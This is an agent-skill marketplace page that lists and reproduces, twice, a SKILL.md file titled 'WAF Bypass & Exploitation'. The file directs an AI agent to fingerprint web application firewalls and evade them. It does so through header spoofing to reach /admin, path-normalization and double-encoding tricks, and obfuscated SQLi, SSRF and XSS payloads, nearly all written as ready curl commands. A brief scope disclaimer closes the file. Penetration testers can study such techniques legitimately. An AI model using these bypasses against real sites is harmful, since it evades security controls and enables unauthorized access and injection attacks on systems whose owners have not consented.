How do I install the Waf Bypass And Exploitation skill?

Run npx skillmds@latest add zyrexnn/waf-bypass-and-exploitation in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Waf Bypass And Exploitation safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Waf Bypass And Exploitation?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Waf Bypass And Exploitation free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Waf Bypass And Exploitation?

zyrexnn (@zyrexnn) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Waf Bypass And Exploitation by zyrexnn

Name: Waf Bypass And Exploitation
Author: zyrexnn

File contents

WAF Bypass & Exploitation Skill

Purpose

Guide the agent on executing advanced encoding, header spoofing, and request restructuring techniques when encountering HTTP 403 Forbidden, 406 Not Acceptable, or 429 Too Many Requests from Web Application Firewalls (Cloudflare, Akamai, AWS WAF, ModSecurity).

Knowledge References

Consult /workspace/knowledge/payloads/waf-evasion.md
Consult /workspace/knowledge/payloads/ssrf-bypass.md
Consult /workspace/knowledge/payloads/sqli-auth-bypass.md

Workflow

1. Identify WAF Signature

Inspect HTTP response headers for firewall indicators:

curl -sI "https://target.com/test-probe" | grep -Ei '(cloudflare|akamai|incap|sucuri|mod_security|aws-waf|cf-ray|x-waf)'

2. Header-Based Path Overrides

When /admin or /api/internal is restricted:

# Test X-Original-URL and X-Rewrite-URL
curl -s -H "X-Original-URL: /admin" "https://target.com/"
curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"

# Test IP Spoofing Headers
curl -s -H "X-Forwarded-For: 127.0.0.1" \
        -H "X-Custom-IP-Authorization: 127.0.0.1" \
        -H "X-Real-IP: 127.0.0.1" \
        "https://target.com/admin"

3. Path & URL Normalization Variations

Test alternative path interpretations:

# Semicolon and matrix parameters
curl -s "https://target.com/admin;/"
curl -s "https://target.com/api/v1/..;/admin"

# Double URL encoding
curl -s "https://target.com/%252e%252e%252fadmin"

# Trailing dots and spaces
curl -s "https://target.com/admin."
curl -s "https://target.com/admin%20"

4. Payload Mutation & Whitespace Tampering

When injecting SQLi, SSTI, or XSS:

SQLi: Replace SELECT 1,2 FROM table with SELECT(1),(2)FROM(table) or SELECT/**/1,2/**/FROM/**/table.
SSRF: Replace 127.0.0.1 with 2130706433 (decimal) or 0177.0.0.1 (octal) or 127.0.0.1.nip.io.
XSS: Use character code evaluation String.fromCharCode(88,83,83) or top[/al/.source+/ert/.source](origin).

Output Artifacts

/workspace/output/waf_bypass_log.txt - Successful bypass technique and exact working payload.

Responsible Testing Boundary

Bypassing a WAF is done solely to verify legitimate business or security impact within scope.
Do not perform high-volume DoS or attempt to disrupt cloud firewall infrastructure.

---name: waf-bypass-and-exploitationdescription: Applies URL encoding, header tampering, path normalization, and payload mutation to bypass Web Application Firewalls (WAF) when testing valid vulnerabilities.---# WAF Bypass & Exploitation Skill## PurposeGuide the agent on executing advanced encoding, header spoofing, and request restructuring techniques when encountering HTTP 403 Forbidden, 406 Not Acceptable, or 429 Too Many Requests from Web Application Firewalls (Cloudflare, Akamai, AWS WAF, ModSecurity).## Knowledge References- Consult `/workspace/knowledge/payloads/waf-evasion.md`- Consult `/workspace/knowledge/payloads/ssrf-bypass.md`- Consult `/workspace/knowledge/payloads/sqli-auth-bypass.md`## Workflow### 1. Identify WAF SignatureInspect HTTP response headers for firewall indicators:```bashcurl -sI "https://target.com/test-probe" | grep -Ei '(cloudflare|akamai|incap|sucuri|mod_security|aws-waf|cf-ray|x-waf)'```### 2. Header-Based Path OverridesWhen `/admin` or `/api/internal` is restricted:```bash# Test X-Original-URL and X-Rewrite-URLcurl -s -H "X-Original-URL: /admin" "https://target.com/"curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"# Test IP Spoofing Headerscurl -s -H "X-Forwarded-For: 127.0.0.1" \ -H "X-Custom-IP-Authorization: 127.0.0.1" \ -H "X-Real-IP: 127.0.0.1" \ "https://target.com/admin"```### 3. Path & URL Normalization VariationsTest alternative path interpretations:```bash# Semicolon and matrix parameterscurl -s "https://target.com/admin;/"curl -s "https://target.com/api/v1/..;/admin"# Double URL encodingcurl -s "https://target.com/%252e%252e%252fadmin"# Trailing dots and spacescurl -s "https://target.com/admin."curl -s "https://target.com/admin%20"```### 4. Payload Mutation & Whitespace TamperingWhen injecting SQLi, SSTI, or XSS:- **SQLi**: Replace `SELECT 1,2 FROM table` with `SELECT(1),(2)FROM(table)` or `SELECT/**/1,2/**/FROM/**/table`.- **SSRF**: Replace `127.0.0.1` with `2130706433` (decimal) or `0177.0.0.1` (octal) or `127.0.0.1.nip.io`.- **XSS**: Use character code evaluation `String.fromCharCode(88,83,83)` or `top[/al/.source+/ert/.source](origin)`.## Output Artifacts- `/workspace/output/waf_bypass_log.txt` - Successful bypass technique and exact working payload.## Responsible Testing Boundary- Bypassing a WAF is done solely to verify legitimate business or security impact within scope.- Do not perform high-volume DoS or attempt to disrupt cloud firewall infrastructure.

Frequently asked questions

Waf Bypass And Exploitation